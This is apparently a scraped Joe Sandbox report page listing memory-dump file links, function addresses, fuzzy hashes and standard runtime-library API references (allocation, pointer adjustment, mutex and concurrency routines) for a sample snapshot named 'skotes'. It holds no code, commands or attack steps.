Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: dd109dc12240b70ca7c1ee05780473a8cbffe9368e155d1aac5b8166fb406241
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: EAB1153290464D9FDB15CFAAC9817BEBBF5EF45360F1441AAFA45EB241D6348E02CB60

Function 00B067A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B06902
__alloca_probe_16.LIBCMT ref: 00B06998
__freea.LIBCMT ref: 00B06A03
__freea.LIBCMT ref: 00B06A0F

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 8c76018f3fdce506dd600883a25153e114808c5e822207768a652677189cb872
Instruction ID: d638e298deff6007776472451b7b93b8c6892bd166abed8a778184b7b6877aa5
Opcode Fuzzy Hash: 8c76018f3fdce506dd600883a25153e114808c5e822207768a652677189cb872
Instruction Fuzzy Hash: 58819271E0025A9EDF219FA48881AEE7FF5DF49354F198196E900B72C1E735DD608BA0

Function 00AF504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00AF5115
___AdjustPointer.LIBCMT ref: 00AF5138
___AdjustPointer.LIBCMT ref: 00AF51D4

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: abb8b2bb6e6fe9a4147c9121e3ed9d02bd4ac71f7f26cbca327d680741b70392
Instruction ID: a7e5986c668ac3a84bb97d1485a6f2803ec95bb3cc07cd74bac2a8c1fd07c935
Opcode Fuzzy Hash: abb8b2bb6e6fe9a4147c9121e3ed9d02bd4ac71f7f26cbca327d680741b70392
Instruction Fuzzy Hash: 0951E572D01A0AAFDB28AFA4D941BBAB7B4EF14350F144229FB0587291E731ED40C794

Function 00AF4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00AF4C66
TypeidsEqual.LIBVCRUNTIME ref: 00AF4C8B
PMDtoOffset.LIBCMT ref: 00AF4CA1
PMDtoOffset.LIBCMT ref: 00AF4D22

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: f7a42b12ae5b6c3147737fa1633b9e300b7cee653ca22ddcd0e208a4d164cfcd
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 4A517839A0420D9FDF15CFA8C5806BFBBF5EF19354F14449AEA50A7351D732AA05CB90

Function 00AC2EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AC2F5F
GetCurrentThreadId.KERNEL32 ref: 00AC2F7E
__Mtx_unlock.LIBCPMT ref: 00AC2FCC
__Cnd_broadcast.LIBCPMT ref: 00AC2FE3

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: a6d2c5564a75a57a8b198a855670f653fcdec9dadfa2540baf6b31b397606d49
Instruction ID: ade826da30a470ccdb101e8e8bf37a5cc7a5bb48364986230361673ed5e50e1d
Opcode Fuzzy Hash: a6d2c5564a75a57a8b198a855670f653fcdec9dadfa2540baf6b31b397606d49
Instruction Fuzzy Hash: 2941D2B19002059FDB20DF64CA44B5AB7F8FF14320F10852EE816D7750EB35EA15CB91

Function 00AEDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00AEDB64

Part of subcall function 00AE8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00AE8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00AEDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00AEDBE9
Concurrency::location::_Assign.LIBCMT ref: 00AEDC56

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

